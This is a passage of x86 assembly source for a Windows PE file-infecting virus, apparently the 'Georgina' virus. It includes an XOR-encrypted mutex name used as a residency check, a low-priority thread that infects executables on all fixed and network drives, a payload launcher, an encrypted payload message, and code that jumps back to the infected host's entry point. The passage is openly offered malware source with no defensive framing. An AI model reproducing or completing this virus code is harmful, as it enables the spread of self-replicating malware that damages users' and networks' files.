|
|
lodsb ; performing simple XOR crypt/decrypt
|
|
xor al,0AAh
|
|
stosb
|
|
loopnz @_decrypt_mutex
|
|
|
|
popad
|
|
ret
|
|
CryptMutexName endp
|
|
|
|
CheckForCopies proc ; checks whether other resident copy of virus is running
|
|
call CryptMutexName ; decrypts mutex name
|
|
lea ebx,[ebp+offset szMutexName] ; mutex is used to determine the presence of other copy
|
|
push ebx
|
|
push 0h
|
|
push 1F0001h ; 1F0001h = MUTEX_ALL_ACCESS
|
|
call [ebp+_OpenMutexA] ; OpenMutexA returns handle to mutex it it exists already
|
|
cmp eax,0h ; if there's no mutex,try to create it...
|
|
jne @_mutex_exists
|
|
|
|
push ebx ; creating mutex...
|
|
push 1h
|
|
push 0h
|
|
call [ebp+_CreateMutexA]
|
|
cmp eax,0h
|
|
je @_no_mutex_created
|
|
jne @_mutex_created
|
|
@_no_mutex_created:
|
|
call CryptMutexName
|
|
mov eax,0FFFFFFFEh ; error, no mutex exists and can't be created
|
|
ret
|
|
@_mutex_exists:
|
|
push eax ; IMPORTANT!!! to close opened mutex handle in order for system to kill the
|
|
call [ebp+_CloseHandle] ; the mutex which is always checked as a residency flag!
|
|
call CryptMutexName
|
|
mov eax,0FFFFFFFFh ; error, mutex exists and can't be created
|
|
ret
|
|
@_mutex_created:
|
|
call CryptMutexName
|
|
mov eax,0h ; success, there was no mutex in the system and it has been just created
|
|
ret
|
|
CheckForCopies endp
|
|
|
|
StartInfection proc
|
|
pushad
|
|
; Here we try to get parameter EBP passed to the new thread...
|
|
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
|
|
mov ebp,[ebp]
|
|
|
|
call [ebp+_GetLogicalDrives] ; getting logical drives....
|
|
mov ebx,eax
|
|
xor ecx,ecx
|
|
@DriveLoop:
|
|
push ecx ; and checking whether it's HD or netwrok drive...
|
|
mov edx,1h
|
|
shl edx,cl
|
|
push ebx
|
|
and ebx,edx
|
|
cmp ebx,0h
|
|
je @_do_not_infect_disk
|
|
|
|
mov edx,65 ; ASCII for 'A'
|
|
add edx,ecx
|
|
lea edi,[ebp+offset szDestDir]
|
|
mov [edi],dl
|
|
|
|
push edi
|
|
call [ebp+_GetDriveTypeA]
|
|
cmp eax,3h ; DRIVE_FIXED = 3, according to WinBase.h
|
|
je @_infect_disk
|
|
cmp eax,4h ; DRIVE_REMOTE = 4, according to WinBase.h
|
|
je @_infect_disk
|
|
jmp @_do_not_infect_disk
|
|
@_infect_disk:
|
|
lea edi,[ebp+offset szDestDir]
|
|
call InfectPath
|
|
@_do_not_infect_disk:
|
|
pop ebx
|
|
pop ecx
|
|
inc ecx
|
|
cmp ecx,32
|
|
jl @DriveLoop
|
|
|
|
popad
|
|
ret
|
|
StartInfection endp
|
|
|
|
VirusMainThread proc ;if no other copy of virus is running then spawns the infector and the payload
|
|
pushad
|
|
; Here we try to get parameter EBP passed to the new thread...
|
|
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
|
|
mov ebp,[ebp]
|
|
@MainLoop:
|
|
call CheckForCopies
|
|
cmp eax,0h
|
|
je @StartAllSubRoutines
|
|
push 1000 ; Sleeping 1 second(s) before performing next check of running copies
|
|
call [ebp+_Sleep]
|
|
jmp @MainLoop
|
|
@StartAllSubRoutines:
|
|
; starting the low priority thread for infecting
|
|
lea ebx,[ebp+offset ThreadID3]
|
|
push ebx
|
|
push CREATE_SUSPENDED ; 0h is when u need to run the thread immediately
|
|
lea ebx,[ebp+_EBP]
|
|
push ebx
|
|
lea ebx,[ebp+offset StartInfection]
|
|
push ebx
|
|
push 0h
|
|
push 0h
|
|
call [ebp+_CreateThread]
|
|
cmp eax,0
|
|
je @VirusMainThreadEnd
|
|
push eax
|
|
|
|
push THREAD_PRIORITY_BELOW_NORMAL
|
|
push eax
|
|
call [ebp+_SetThreadPriority]
|
|
|
|
call [ebp+_ResumeThread]
|
|
; end of starting for the low priority thread for infecting
|
|
|
|
; starting the payload (it'll decide itself to continue or to stop)
|
|
call PayLoad
|
|
; exitting our virus main thread, we consider all jobs are done and all the threads are launched!
|
|
@VirusMainThreadEnd:
|
|
popad
|
|
ret
|
|
VirusMainThread endp
|
|
|
|
LaunchVirusMainThread proc ; launching viri's main thread...
|
|
pushad
|
|
lea ebx,[ebp+offset ThreadID3]
|
|
push ebx
|
|
push 0h
|
|
lea ebx,[ebp+_EBP]
|
|
push ebx
|
|
lea ebx,[ebp+offset VirusMainThread]
|
|
push ebx
|
|
push 0h
|
|
push 0h
|
|
call [ebp+_CreateThread]
|
|
popad
|
|
ret
|
|
LaunchVirusMainThread endp
|
|
|
|
MainEnd:
|
|
mov eax,dword ptr [ebp+_ImageBase] ; virus start point...
|
|
sub eax,dword ptr [ebp+_EntryPoint] ; substracting virus entry-point, thus getting ImageBase
|
|
add eax,dword ptr [ebp+OldEntryPoint] ; adding old entry-point, thus jumping back to the host
|
|
jmp eax
|
|
|
|
OldEntryPoint dd 0 ; host's old entry-point
|
|
K32Address dd ?
|
|
K32ExportAddress dd ?
|
|
K32OrdinalsAddress dd ?
|
|
K32NumberOfExports dd ?
|
|
Counter dd 0h
|
|
|
|
;APIz that I need in my virus
|
|
U32Address dd ?
|
|
szUser32Dll db "USER32.DLL",0h
|
|
|
|
szGetProcAddress db "GetProcAddress",0h
|
|
szGetModuleHandleA db "GetModuleHandleA",0h
|
|
szLoadLibraryA db "LoadLibraryA",0h
|
|
szGetFileAttributesA db "GetFileAttributesA",0h
|
|
szSetFileAttributesA db "SetFileAttributesA",0h
|
|
szCreateFileA db "CreateFileA",0h
|
|
szCreateFileMappingA db "CreateFileMappingA",0h
|
|
szMapViewOfFile db "MapViewOfFile",0h
|
|
szUnmapViewOfFile db "UnmapViewOfFile",0h
|
|
szFindFirstFileA db "FindFirstFileA",0h
|
|
szFindNextFileA db "FindNextFileA",0h
|
|
szFindClose db "FindClose",0h
|
|
szSetCurrentDirectoryA db "SetCurrentDirectoryA",0h
|
|
szGetLocalTime db "GetLocalTime",0h
|
|
szCreateThread db "CreateThread",0h
|
|
szSetThreadPriority db "SetThreadPriority",0h
|
|
szResumeThread db "ResumeThread",0h
|
|
szCreateMutexA db "CreateMutexA",0h
|
|
szOpenMutexA db "OpenMutexA",0h
|
|
szSleep db "Sleep",0h
|
|
szGetLogicalDrives db "GetLogicalDrives",0h
|
|
szGetDriveTypeA db "GetDriveTypeA",0h
|
|
szGetFileSize db "GetFileSize",0h
|
|
szCloseHandle db "CloseHandle",0h
|
|
szVirtualAlloc db "VirtualAlloc",0h
|
|
|
|
szMessageBoxA db "MessageBoxA",0h
|
|
szSetWindowTextA db "SetWindowTextA",0h
|
|
szGetTopWindow db "GetTopWindow",0h
|
|
szGetWindow db "GetWindow",0h
|
|
|
|
_GetProcAddress dd ?
|
|
_GetModuleHandleA dd ?
|
|
_LoadLibraryA dd ?
|
|
_GetFileAttributesA dd ?
|
|
_SetFileAttributesA dd ?
|
|
_CreateFileA dd ?
|
|
_CreateFileMappingA dd ?
|
|
_MapViewOfFile dd ?
|
|
_UnmapViewOfFile dd ?
|
|
_FindFirstFileA dd ?
|
|
_FindNextFileA dd ?
|
|
_FindClose dd ?
|
|
_SetCurrentDirectoryA dd ?
|
|
_GetLocalTime dd ?
|
|
_CreateThread dd ?
|
|
_SetThreadPriority dd ?
|
|
_ResumeThread dd ?
|
|
_CreateMutexA dd ?
|
|
_OpenMutexA dd ?
|
|
_Sleep dd ?
|
|
_GetLogicalDrives dd ?
|
|
_GetDriveTypeA dd ?
|
|
_GetFileSize dd ?
|
|
_CloseHandle dd ?
|
|
_VirtualAlloc dd ?
|
|
|
|
_MessageBoxA dd ?
|
|
_SetWindowTextA dd ?
|
|
_GetTopWindow dd ?
|
|
_GetWindow dd ?
|
|
|
|
InfectionMark db 08Ah,08Ah,0EDh,0CFh,0C5h,0D8h,0CDh,0C3h,0C4h,0CBh,08Ah,08Ah
|
|
|
|
FileHandle dd INVALID_HANDLE_VALUE
|
|
FileSize dd 0h
|
|
pMemory dd 0h
|
|
PEHdrOffset dd 0h
|
|
SectionsNum dd 0h
|
|
ImageSize dd 0h
|
|
dFileAlignment dd 0h
|
|
FileMappedHandle dd 0h
|
|
FileAttrib dd 0h
|
|
pVirtualMemory dd 0h
|
|
|
|
szDestDir db "c:\",0h
|
|
|
|
FindHandle dd 0h
|
|
FHandle dd 0h
|
|
FindResult WIN32_FIND_DATA ?
|
|
szEXEMask db "*.exe",0h
|
|
szGlobalMask db "*",0h
|
|
szUpDir db "..",0h
|
|
|
|
szGeorgina db "Georgina",0h
|
|
szMutexName db 0E1H,0EFH,0F8H,0E4H,0EFH,0E6H,0F5H,0E6H,0E5H ; encrypted mutex name
|
|
db 0FCH,0EFH,097H,0E3H,0F5H,0E6H,0C5H,0DCH,0CFH
|
|
db 0F5H,0F3H,0C5H,0DFH,0F5H,0EDH,0CFH,0C5H,0D8H
|
|
db 0CDH,0C3H,0C4H,0CBH,0F5H,098H,0E0H,0F0H,0EBH
|
|
db 09DH,09FH,09DH,0F5H,0E1H,0E3H,0F9H,0F9H,0EFH
|
|
db 0F9H,0AAH
|
|
MutexNameSize equ $-szMutexName ; size of mutex name
|
|
szVirus db 0FFH,08AH,0D8H,08AH,0C3H,0C4H,0CCH,0CFH,0C9H ; encrypted pyload message
|
|
db 0DEH,0CFH,0CEH,08AH,0DDH,0C3H,0DEH,0C2H,08AH
|
|
db 0FDH,0C3H,0C4H,099H,098H,084H,0EDH,0CFH,0C5H
|
|
db 0D8H,0CDH,0C3H,0C4H,0CBH,08AH,0DCH,0C3H,0D8H
|
|
db 0DFH,0D9H,08BH,0A7H,0A0H,0EDH,0CFH,0C5H,0D8H
|
|
db 0CDH,0C3H,0C4H,0CBH,086H,0E3H,08AH,0C6H,0C5H
|
|
db 0DCH,0CFH,08AH,0DFH,08AH,0CBH,0C4H,0CEH,08AH
|
|
db 0DDH,0C3H,0C6H,0C6H,08AH,0C6H,0C5H,0DCH,0CFH
|
|
db 08AH,09EH,0CFH,0DCH,0CFH,0D8H,08BH,0A7H,0A0H
|
|
db 082H,0E9H,083H,09AH,0CEH,0CFH,0CEH,08AH,0C8H
|
|
db 0D3H,08AH,0E1H,0C3H,0E4H,0EFH,0FEH,0C3H,0E1H
|
|
db 086H,08AH,0E7H,0CBH,0D3H,08AH,098H,09AH,09AH
|
|
db 098H,0AAH
|
|
szVirusMsgSize equ $-szVirus ; size of payload message
|
|
Time SYSTEMTIME <0,0,0,0,0,0,0,0>
|
|
ThreadID1 dd 0h
|
|
ThreadID2 dd 0h
|
|
ThreadID3 dd 0h
|
|
_EBP dd ?
|
|
_ImageBase dd ?
|
|
_EntryPoint dd ?
|
|
infect_section_end:
|
|
INFECTLENGTH equ (infect_section_end - infect_section)
|
|
CHARSNEW equ 0E0000020h
|
|
|
|
_1st_generation:
|
|
call MessageBox,0,offset szMessage,offset szCaption,MB_OK
|
|
call ExitProcess,0
|
|
end main
|